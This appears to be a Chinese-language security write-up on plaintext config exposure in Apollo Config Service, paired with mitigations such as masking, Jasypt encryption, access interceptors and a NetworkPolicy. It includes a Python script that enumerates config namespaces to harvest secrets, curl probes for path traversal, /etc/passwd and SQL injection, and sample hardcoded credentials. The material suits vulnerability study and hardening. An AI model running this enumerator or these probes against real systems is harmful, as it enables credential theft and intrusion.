1. Config API: /configs/{appId}/{clusterName}/{namespace}
2. Config File API: /configfiles/{appId}/{clusterName}/{namespace}
3. Release API: /releases/{releaseId}
4. Item API: /namespaces/{namespace}/items
5. 历史 API: /history/{appId}/{clusterName}/{namespace}

# 数据库连接
spring.datasource.url=jdbc:mysql://10.0.0.100:3306/prod_db
spring.datasource.username=prod_user
spring.datasource.password=Pr0d_P@ssw0rd!

# API 密钥
aliyun.accessKeyId=LTAI4xxxxxxxxxxxxx
aliyun.accessKeySecret=xxxxxxxxxxxxxxxxxxxxxxxx
wechat.appSecret=a1b2c3d4e5f6g7h8i9j0

# 加密密钥
jwt.secret=super-secret-jwt-key-123456
aes.encryption.key=16BytesSecretKey!

// ConfigController.java
@GetMapping("/configs/{appId}/{clusterName}/{namespace}")
public Config getConfig(
    @PathVariable String appId,
    @PathVariable String clusterName,
    @PathVariable String namespace) {

    Config config = configService.loadConfig(appId, clusterName, namespace);

    // 问题：直接返回明文配置，无脱敏处理
    return config;
}

-- Item 表明文存储
CREATE TABLE `Item` (
  `Id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `NamespaceId` int(10) unsigned NOT NULL,
  `Key` varchar(128) NOT NULL,
  `Value` varchar(2048) NOT NULL,  -- 明文存储
  `Comment` varchar(1024) DEFAULT '',
  PRIMARY KEY (`Id`)
);

-- 示例数据
INSERT INTO Item VALUES (1, 100, 'db.password', 'MySecretP@ss', '数据库密码');

// ItemService.java
public void addItem(Item item) {
    String key = item.getKey().toLowerCase();
    String value = item.getValue();

    // 检测敏感配置并加密
    if (isSensitiveKey(key)) {
        value = encryptionService.encrypt(value);
        item.setEncrypted(true);
    }

    item.setValue(value);
    itemRepository.save(item);
}

private boolean isSensitiveKey(String key) {
    String[] sensitivePatterns = {
        "password", "secret", "key", "token",
        "credential", "private", "apikey"
    };

    for (String pattern : sensitivePatterns) {
        if (key.contains(pattern)) {
            return true;
        }
    }
    return false;
}

// ConfigController.java (修复后)
@GetMapping("/configs/{appId}/{clusterName}/{namespace}")
public Config getConfig(...) {
    Config config = configService.loadConfig(appId, clusterName, namespace);

    // 脱敏处理
    Config sanitized = sanitizeConfig(config);
    return sanitized;
}

private Config sanitizeConfig(Config config) {
    for (Map.Entry<String, String> entry : config.getConfigurations().entrySet()) {
        if (isSensitiveKey(entry.getKey())) {
            entry.setValue("******"); // 或显示部分: "abc***xyz"
        }
    }
    return config;
}

# docker-compose.yml
version: '3'
services:
  apollo-mysql:
    image: mysql:5.7
    environment:
      MYSQL_ROOT_PASSWORD: root
    volumes:
      - ./sql:/docker-entrypoint-initdb.d

  apollo-configservice:
    image: apolloconfig/apollo-configservice:1.7.1
    depends_on:
      - apollo-mysql
    ports:
      - "8080:8080"

  # 添加测试配置
  setup:
    image: curlimages/curl
    depends_on:
      - apollo-configservice
    command: >
      sh -c "sleep 30 && curl -X POST http://configservice:8080/apps/TestApp/clusters/default/namespaces/application/items
      -H 'Content-Type: application/json' -d '{\"key\":\"db.password\",\"value\":\"SuperSecret123\"}'"

#!/usr/bin/env python3
import requests

def enumerate_configs(target):
    # 常见应用 ID 模式
    app_patterns = [
        'SampleApp', 'Demo', 'Test', 'Production',
        'user-service', 'order-service', 'payment-service',
        'api-gateway', 'auth-service', 'notification-service'
    ]

    # 常见命名空间
    namespaces = [
        'application', 'database', 'redis', 'mq',
        'third-party', 'security', 'monitoring'
    ]

    leaked = []

    for app in app_patterns:
        for ns in namespaces:
            try:
                url = f"http://{target}:8080/configs/{app}/default/{ns}"
                r = requests.get(url, timeout=5)

                if r.status_code == 200:
                    config = r.json()
                    print(f"[+] 发现配置: {app}/{ns}")
                    print(f"    配置项数量: {len(config.get('configurations', {}))}")

                    # 检查敏感配置
                    for key, value in config.get('configurations', {}).items():
                        if any(word in key.lower() for word in
                               ['password', 'secret', 'key', 'token']):
                            leaked.append({
                                'app': app,
                                'namespace': ns,
                                'key': key,
                                'value': value[:50] + '...' if len(value) > 50 else value
                            })
            except:
                pass

    return leaked

if __name__ == '__main__':
    target = '192.168.1.100'
    leaked = enumerate_configs(target)

    print("\n" + "="*60)
    print("敏感配置泄露列表:")
    print("="*60)
    for item in leaked:
        print(f"{item['app']}/{item['namespace']}: {item['key']} = {item['value']}")

# 获取配置发布历史（可能包含旧密码）
curl -s "http://target:8080/apps/SampleApp/clusters/default/namespaces/application/releases" | jq

# 响应示例
{
  "releases": [
    {
      "releaseId": 1,
      "configurations": {
        "old.password": "PreviousPassword123",  # 旧密码
        "new.password": "CurrentPassword456"
      },
      "releasedBy": "admin",
      "releaseTime": "2024-01-15T10:30:00"
    }
  ]
}

# 如果日志级别为 DEBUG，配置可能被记录
curl -s "http://target:8080/actuator/loggers" | jq

# 尝试访问日志文件
curl -s "http://target:8080/../../../logs/apollo-configservice.log"

# 日志中可能包含:
# 2024-01-20 10:15:23 DEBUG [ConfigService] - Loading config: db.password=SecretValue

# 触发错误获取内部信息
curl -s "http://target:8080/configs/../../../etc/passwd/../../../test"

# SQL 注入尝试获取其他配置
curl -s "http://target:8080/configs/TestApp' UNION SELECT * FROM Item--/default/application"

# database-config.properties
jasypt.encryptor.password=${JASYPT_ENCRYPTOR_PASSWORD:default}

# 存储时使用 ENC() 包装
db.password=ENC(G6N718UuyPE5bHyWKyuLQSm02auQPUtm)

// 使用 Jasypt 加密敏感配置
@Configuration
public class EncryptionConfig {

    @Bean
    public StringEncryptor stringEncryptor() {
        PooledPBEStringEncryptor encryptor = new PooledPBEStringEncryptor();
        SimpleStringPBEConfig config = new SimpleStringPBEConfig();
        config.setPassword(System.getenv("ENCRYPTION_PASSWORD"));
        config.setAlgorithm("PBEWithMD5AndDES");
        config.setKeyObtentionIterations("1000");
        config.setPoolSize("1");
        config.setProviderName("SunJCE");
        config.setSaltGeneratorClassName("org.jasypt.salt.RandomSaltGenerator");
        config.setStringOutputType("base64");
        encryptor.setConfig(config);
        return encryptor;
    }
}

// 自定义拦截器
@Component
public class NamespaceAccessInterceptor implements HandlerInterceptor {

    @Override
    public boolean preHandle(HttpServletRequest request,
                            HttpServletResponse response,
                            Object handler) {
        String namespace = extractNamespace(request);

        // 敏感命名空间需要特殊权限
        if (isSensitiveNamespace(namespace)) {
            if (!hasPermission(request)) {
                response.setStatus(403);
                return false;
            }
        }

        return true;
    }

    private boolean isSensitiveNamespace(String namespace) {
        return namespace.matches(".*(secret|security|private).*");
    }
}

<!-- logback-spring.xml -->
<configuration>
    <appender name="CONSOLE" class="ch.qos.logback.core.ConsoleAppender">
        <encoder>
            <pattern>%d{HH:mm:ss.SSS} [%thread] %-5level %logger{36} - %msg%n</pattern>
        </encoder>
    </appender>

    <!-- 配置相关日志仅记录 INFO 级别 -->
    <logger name="com.ctrip.framework.apollo.configservice" level="INFO"/>

    <!-- 完全禁止记录配置内容 -->
    <logger name="com.ctrip.framework.apollo.configservice.ConfigController" level="WARN"/>
</configuration>

# Kubernetes NetworkPolicy
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: config-service-policy
spec:
  podSelector:
    matchLabels:
      app: apollo-configservice
  policyTypes:
  - Ingress
  ingress:
  - from:
    # 仅允许应用 Pod 访问
    - podSelector:
        matchLabels:
          type: application
    # 不允许直接从外部访问
    ports:
    - protocol: TCP
      port: 8080